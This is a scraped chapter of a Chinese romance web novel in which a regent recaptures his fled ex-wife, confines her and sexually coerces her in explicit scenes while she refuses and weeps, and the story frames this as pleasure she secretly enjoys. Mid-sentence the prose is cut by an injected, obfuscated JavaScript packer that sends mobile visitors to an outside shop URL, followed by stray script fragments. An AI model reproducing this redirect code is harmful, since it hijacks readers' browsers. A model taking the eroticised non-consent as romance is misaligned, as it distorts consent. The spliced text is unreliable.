39. [锁] [此章节已锁]
作品:《捡到落难贵公子后》 虞皎蜷缩着,根本说不出话,可扯着他衣袖的手指却是用力到泛白。
钟离珩却残忍地忽视她的哀求,居高临下地欣赏着她的无措与狼狈。
“觉得如何,可还喜欢?”
外面是车辙与马蹄压过地面发出的声响,提示着虞皎周遭还有许多人,使她如同惊弓之鸟。
她无意识地摇头,连声音都带上了些许哭腔:“不,你这个……混蛋!”
“阿皎总是口是心非。”
钟离珩嘴角噙着一抹温和的笑,语气温柔,可那黑沉的眸中所含的情绪却是叫人心惊。
“那阿皎是怎么敢逃跑的,还同野男人一起?孤是豺狼,那路边的野男人便是好的了?”
“不……”
“瞧见那药商看你的眼神了吗?可知你若没了身份,随他去南地,届时被锁在屋子里日日亵玩都不会有人知道,孤得让你长长记性。”
他替虞皎轻柔地拭去额上的汗珠,却不容拒绝将人抱到了自己腿上。
正巧这时马车行驶遇到坑洼的地带,发出一阵颠簸。
虞皎毫无防备,一个没坐稳直接跌进钟离珩怀中。
金铃恍若被刺激,发出猛烈的巨震。
“唔……”
如果不是钟离珩扶着,她早已跌倒在地上,可饶是被扶着,虞皎也止不住地发颤。
她双目失神,已经顾不上推开钟离珩,只感觉所有的声音都在远去,只有一处的令人窒息的,无法承受的感知,汹涌的快要将她淹没。
太过了,怎么能,这么过分……
忽的,她浑身猛地僵住,双眸瞪大,嘴巴也无意识张开了,像是发出无声尖叫。
也许是过了几息,也许是许久,意识才逐渐回笼。
只觉一阵脱力,虞皎瞬间瘫软了下来。
她现在的模样狼狈不已,就连钟离珩的下袍都被弄脏污,可那金铃,竟还在不知疲倦地跳动!
虞皎终于崩溃,忍不住低声哭了出来。
太过分了!怎么能这样!这是在外面啊,还是在白日!
“怎就哭得这样伤心?孤瞧你明明就是喜欢的。”
若是以前,她这样哭,钟离珩虽没尽兴,却也不会再闹她,可现在是铁了心要让她吃到教训,因此狠心地没帮她取出。
虞皎已经不记得自己脱力了多少次,她只觉得时间过得格外漫长,到后来钟离珩只是帮她擦拭泪痕,都会惹起她发颤。
瞧见她这如同被风雨打蔫儿了的花枝般,惹人怜惜的模样,钟离珩才终于大发慈悲,为她结束了这场酷刑。
马车抵达沿途驿站,虞皎是被钟离珩抱下车的,他用披风将人裹得严严实实,大踏步走了进去。
侍卫们皆垂首而立,不敢窥视分毫。
驿站的人早得了消息,得知摄政王大人会路过此地,一早便将最好的屋子收拾了出来,里面的陈设用具无一不是换了新的。
尤其是床榻的被褥软枕,皆是锦缎丝绸,生怕怠慢了。
沉重的木门被关上,虞皎被丢到了床榻之上。
“啪——”
响亮的巴掌拍在钟离珩脸上,虞皎好不容易蓄起些力气,愤怒地看着他骂道:“你混蛋!”
只要一想到刚才的事,虞皎就羞愤得恨不能找个地缝钻进去,她何时做过这样出格的事,太羞辱她了!
钟离珩被打的偏过脸,而后转过头,直直盯着虞皎。
也就只有她敢这样对自己了,看来真得给她一点教训,否则总是不乖。
他轻轻擦了一下嘴角,低笑道:“我混蛋?不过是些闺房之趣罢了,阿皎怎么能舒坦完了就不认账呢?”
说着,他开始慢条斯理地解腰带。
虞皎见状不妙,顿时顾不上羞愤,赶紧惊慌地想要下榻,却被一只大掌轻易推倒,随后,高大的身躯压了下来。
“方才你可是餍足了,现在该轮到我了。”
虞皎不可置信地看着逼近的钟离珩,慌忙摇头,手脚并用地往下爬,却还是被抓了回去。
“不,不要,钟离珩,不行,你这个混蛋!”
回应她的是凶狠又炽热的吻。
晚间,虞皎连饭都是坐在钟离珩腿上吃的。
她简直不敢去想,驿站的人瞧见他们一直在屋中会如何猜想。
晕过去之前,她觉得钟离珩是真的疯了。
翌日,虞皎睁开眼,只觉浑身酸软得不像话,几乎要连起身的力气都没有。
好在身上是清爽的,被换了一身干净的寝衣。
门被打开,着一身玄色交领广袖,织金满绣四爪蟒袍的钟离珩走了进来,他从前鲜少着重色,因他本就气质疏冷,如今又浸染了权力的味道,显得愈发冷漠不近人情。
瞧见他,虞皎不由自主打了个哆嗦,眼神中满是惊惧。
见她缩着脖子往后退,原本眼神尚且温和的钟离珩冷下了神色。
“过来用膳。”
闻言,虞皎脑中不由自主想起了昨日用晚膳的场景,不仅没过去,反而连连摇头,满是抗拒。
“别让我说第二遍,”钟离珩显然也是看出了她在害怕什么,“难道是想让我像昨日那般喂你吃?”
“我才不想!”
虞皎又惊又怕地瞪了他一眼,见他没那个意图,才费力拖着酸软的身体挪到了饭桌前。
结果连那拿筷子的手都在发颤,筷子掉在瓷白的小碟子上,发出清脆的碰撞声,惹来钟离珩恶劣的低语:“只是这样便不行了?看来今后还需勤加练习。”
听到这句话,虞皎忍不住瑟缩了一下,她没想到这也能成为折磨人的法子,那种身体不受控制,无穷无尽的折磨简直叫人害怕。
她又气又急,可偏偏身体没力气。
不行,她绝对不要再被钟离珩关起来!
可一直到回京,虞皎也没想出什么好的逃跑办法。
因为上一次被下药的教训,钟离珩看她看得很严,她根本没有逃跑的机会。
马车直接回了摄政王府,也就是从前的宁王府,本应另立府邸,可这宅子地段已是极好,钟离珩不欲铺张,再者宁王不喜京中,也是为了避嫌,直接回了他的封地。
虞皎像是被押犯人一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188325|193316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
般,被一队侍卫押回了自己院子。
外头的人不知情,只瞧见摄政王大费周章的夺了一个女子回府,自他休妻以来,还是头一次传出这等风流韵事,顿时传遍了整个京城。
至于这女子是谁,话本子里出了七八个版本,就没一个想到是那下堂的原配妻。
只因虞氏女那敏感的身份,京中都以为钟离珩表面休妻,实则暗地早就将人处死了,否则那虞氏女怎的一出王府便不见踪影?
“这都写的什么东西,竟然敢诽谤我哥!”
钟离瑶看得气愤不已,她一把丢开话本,打算去找虞皎,结果来到院门口却被拦住了。
她不可置信:“连我也拦?人不是都回来了吗?”
侍卫低头不语,他也只是奉命行事。
“那我在门口同她说说话总行吧,”钟离瑶说着朝里头喊道,“嫂嫂,你在做什么,我带了许多话本子来,嫂嫂?”
她真的挺好奇兄嫂两人最近如何了,之前突然休妻就让她惊掉了下巴,前几日突然瞧见虞皎被兄长带回来,钟离瑶心中八卦的小火苗已经按捺不住了。
奈何她去跟钟离珩打听,被无情忽视了。
虞皎听见了院外钟离瑶的呼唤,她低泣一声,死死捂住了嘴巴。
身后,钟离珩将她压在门框上,低声道:“怎么不理瑶瑶,她在叫你。”
上好的紫檀木雕花鎏金门扉此刻被毫不怜惜,折腾得发出不堪重负地沉闷声响,忽的,发出一阵急促的“哐当”响动。
虞皎说不出话,只能间或发出无意义的泣语。
听到外头的声音叫她愈发紧张,偏偏钟离珩故意折磨她,不停地几乎将她要逼到绝境。
“看来阿皎很喜欢这里。”
钟离瑶在外面叫了一会儿,见没人回,只得走了,边走边百思不得其解地看了看头顶悬着的烈日,想不明白她怎么会这会儿睡觉。
……
门扉终于停止了晃动,钟离珩抽身之时,虞皎站立不稳,几乎是贴着门滑了下去。
好在他眼疾手快的将人拦腰捞了起来。
“都汗湿了,我带你去沐浴。”
虞皎的院子早被改造出了一间浴池,连接了特制的管道,另一头的热水会直接流入浴池。
池中冒着氤氲水汽,虞皎像是想起了什么不好的回忆,挣扎着就要跑,却被不容拒绝的拖下了水。
水花四溅,纱幔被风扬起,也沾上了氤氲的水汽,垂散在地。
钟离珩轻轻摩挲了一下她布满红霞的脸颊,低笑道:“跑什么?阿皎从前不是说想要孩子吗?”
“我陪你生就是。”
他说着,摸上虞皎的小腹,不轻不重的按了几下。
“别!你……”
虞皎忍不住发出一声惊呼,差点跪倒在水里,如果不是钟离珩一直在背后抱着她给予支撑,她早就滑进水里了。
“不!不要!”
“不要什么,我只是帮你瞧瞧,这里头可怀上了?”
虞皎只疯了似的摇头,钟离珩偏偏要刺激她,最后虞皎直接颤抖着哭了出来。

